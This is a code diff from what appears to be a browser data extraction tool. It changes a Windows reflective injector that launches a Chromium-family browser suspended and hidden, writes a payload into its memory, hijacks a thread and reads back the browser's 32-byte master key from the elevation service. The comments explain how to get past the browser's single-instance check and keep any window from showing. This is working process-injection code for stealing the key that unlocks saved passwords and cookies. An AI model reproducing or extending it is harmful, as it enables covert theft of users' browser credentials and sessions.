@@ -47,10 +47,11 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
4747 restore := setEnvTemporarily (env )
4848 defer restore ()
4949
50- pi , err := spawnSuspended (exePath )
50+ pi , udd , err := spawnSuspended (exePath )
5151 if err != nil {
5252 return nil , err
5353 }
54+ defer os .RemoveAll (udd )
5455 defer windows .CloseHandle (pi .Process )
5556 defer windows .CloseHandle (pi .Thread )
5657
@@ -67,9 +68,9 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
6768 return nil , err
6869 }
6970
70- // Resume briefly so ntdll loader init completes before we hijack a thread;
71- // Bootstrap itself is self-contained but the later elevation_service COM
72- // call inside the payload relies on a fully-initialized PEB.
71+ // Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is
72+ // self-contained but the later elevation_service COM call inside the payload relies on a
73+ // fully-initialized PEB.
7374 _ , _ = windows .ResumeThread (pi .Thread )
7475 time .Sleep (500 * time .Millisecond )
7576
@@ -97,9 +98,8 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
9798 return result .Key , nil
9899}
99100
100- // scratchResult is the structured view of the 12-byte diagnostic header
101- // (marker..com_err) plus the optional 32-byte master key the payload
102- // publishes back into the remote process's scratch region.
101+ // scratchResult is the structured view of the 12-byte diagnostic header (marker..com_err) plus the
102+ // optional 32-byte master key the payload publishes back into the remote process's scratch region.
103103type scratchResult struct {
104104 Marker byte
105105 Status byte
@@ -131,22 +131,64 @@ func validateAndLocateLoader(payload []byte) (uint32, error) {
131131 return off , nil
132132}
133133
134- func spawnSuspended (exePath string ) (* windows.ProcessInformation , error ) {
134+ // buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process.
135+ // Two upstream Chromium switches:
136+ // - --user-data-dir=<temp>: escape the running browser's ProcessSingleton mutex so the suspended
137+ // child survives past main() long enough for the remote Bootstrap thread to complete (issue #576).
138+ // - --no-startup-window: suppress the brief UI splash that Edge/Brave/CocCoc paint despite
139+ // STARTF_USESHOWWINDOW+SW_HIDE (which Chrome honors but brand-forked startup code often ignores).
140+ //
141+ // Adding other flags (--disable-extensions, --disable-gpu, ...) has destabilized Brave in the past
142+ // (payload dies inside DllMain with marker=0x0b); both switches here are upstream-official and safe.
143+ func buildIsolatedCommandLine (exePath , udd string ) string {
144+ // %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them
145+ // as literal double backslashes in argv. Raw literal quotes match Windows command-line rules.
146+ //nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above.
147+ return fmt .Sprintf (`"%s" --user-data-dir="%s" --no-startup-window` , exePath , udd )
148+ }
149+
150+ // spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is
151+ // passed so the spawned chrome.exe does not collide with any already-running Chrome instance's
152+ // ProcessSingleton (which would call ExitProcess as soon as main() runs, killing our remote Bootstrap
153+ // thread before it can publish the master key). The temp UDD is returned so the caller can remove it
154+ // after injection.
155+ func spawnSuspended (exePath string ) (* windows.ProcessInformation , string , error ) {
156+ udd , err := os .MkdirTemp ("" , "hbd-inj-udd-*" )
157+ if err != nil {
158+ return nil , "" , fmt .Errorf ("injector: make temp user-data-dir: %w" , err )
159+ }
160+
161+ cmdLine := buildIsolatedCommandLine (exePath , udd )
162+ cmdPtr , err := syscall .UTF16PtrFromString (cmdLine )
163+ if err != nil {
164+ _ = os .RemoveAll (udd )
165+ return nil , "" , fmt .Errorf ("injector: command line: %w" , err )
166+ }
135167 exePtr , err := syscall .UTF16PtrFromString (exePath )
136168 if err != nil {
137- return nil , fmt .Errorf ("injector: exe path: %w" , err )
169+ _ = os .RemoveAll (udd )
170+ return nil , "" , fmt .Errorf ("injector: exe path: %w" , err )
171+ }
172+ // STARTF_USESHOWWINDOW + SW_HIDE asks the child to honor our ShowWindow value on its first
173+ // CreateWindow/ShowWindow call — a standard way to suppress the brief Chrome splash window that
174+ // otherwise flashes because the UDD bypass makes the injected process proceed to the "I am the
175+ // primary instance" branch and start painting UI before we TerminateProcess it.
176+ si := & windows.StartupInfo {
177+ Flags : windows .STARTF_USESHOWWINDOW ,
178+ ShowWindow : windows .SW_HIDE ,
138179 }
139- si := & windows.StartupInfo {}
140180 pi := & windows.ProcessInformation {}
141- if err : = windows .CreateProcess (
142- exePtr , nil , nil , nil ,
181+ err = windows .CreateProcess (
182+ exePtr , cmdPtr , nil , nil ,
143183 false ,
144184 windows .CREATE_SUSPENDED | windows .CREATE_NO_WINDOW ,
145185 nil , nil , si , pi ,
146- ); err != nil {
147- return nil , fmt .Errorf ("injector: CreateProcess: %w" , err )
186+ )
187+ if err != nil {
188+ _ = os .RemoveAll (udd )
189+ return nil , "" , fmt .Errorf ("injector: CreateProcess: %w" , err )
148190 }
149- return pi , nil
191+ return pi , udd , nil
150192}
151193
152194func writeRemotePayload (proc windows.Handle , payload []byte ) (uintptr , error ) {
@@ -191,13 +233,12 @@ func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait
191233 }
192234}
193235
194- // readScratch pulls the payload's diagnostic header and (on success) the
195- // master key out of the target process's scratch region. A non-nil error
196- // means our own ReadProcessMemory call failed (distinct from the payload
197- // reporting a structured failure via result.Status/ErrCode/HResult).
236+ // readScratch pulls the payload's diagnostic header and (on success) the master key out of the target
237+ // process's scratch region. A non-nil error means our own ReadProcessMemory call failed (distinct from
238+ // the payload reporting a structured failure via result.Status/ErrCode/HResult).
198239func readScratch (proc windows.Handle , remoteBase uintptr ) (scratchResult , error ) {
199- // hdr covers offsets 0x28..0x33: marker, status, extract_err_code,
200- // _reserved, hresult (LE u32), com_err (LE u32).
240+ // hdr covers offsets 0x28..0x33: marker, status, extract_err_code, _reserved, hresult (LE u32),
241+ // com_err (LE u32).
201242 var hdr [12 ]byte
202243 var n uintptr
203244 if err := windows .ReadProcessMemory (proc ,
@@ -232,10 +273,9 @@ func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error)
232273 return result , nil
233274}
234275
235- // patchPreresolvedImports writes five pre-resolved Win32 function pointers
236- // into the payload's DOS stub so Bootstrap skips PEB.Ldr traversal entirely.
237- // Validity relies on KnownDlls + session-consistent ASLR (kernel32 and ntdll
238- // share the same virtual address across processes in one boot session).
276+ // patchPreresolvedImports writes five pre-resolved Win32 function pointers into the payload's DOS stub
277+ // so Bootstrap skips PEB.Ldr traversal entirely. Validity relies on KnownDlls + session-consistent
278+ // ASLR (kernel32 and ntdll share the same virtual address across processes in one boot session).
239279func patchPreresolvedImports (payload []byte ) ([]byte , error ) {
240280 if len (payload ) < bootstrap .ImpNtFlushICOffset + 8 {
241281 return nil , fmt .Errorf ("injector: payload too small for pre-resolved import patch" )
@@ -267,8 +307,8 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) {
267307 return patched , nil
268308}
269309
270- // setEnvTemporarily mutates the current process's env; NOT concurrency-safe.
271- // Callers must serialize Inject calls.
310+ // setEnvTemporarily mutates the current process's env; NOT concurrency-safe. Callers must serialize
311+ // Inject calls.
272312func setEnvTemporarily (env map [string ]string ) func () {
273313 if len (env ) == 0 {
274314 return func () {}
0 commit comments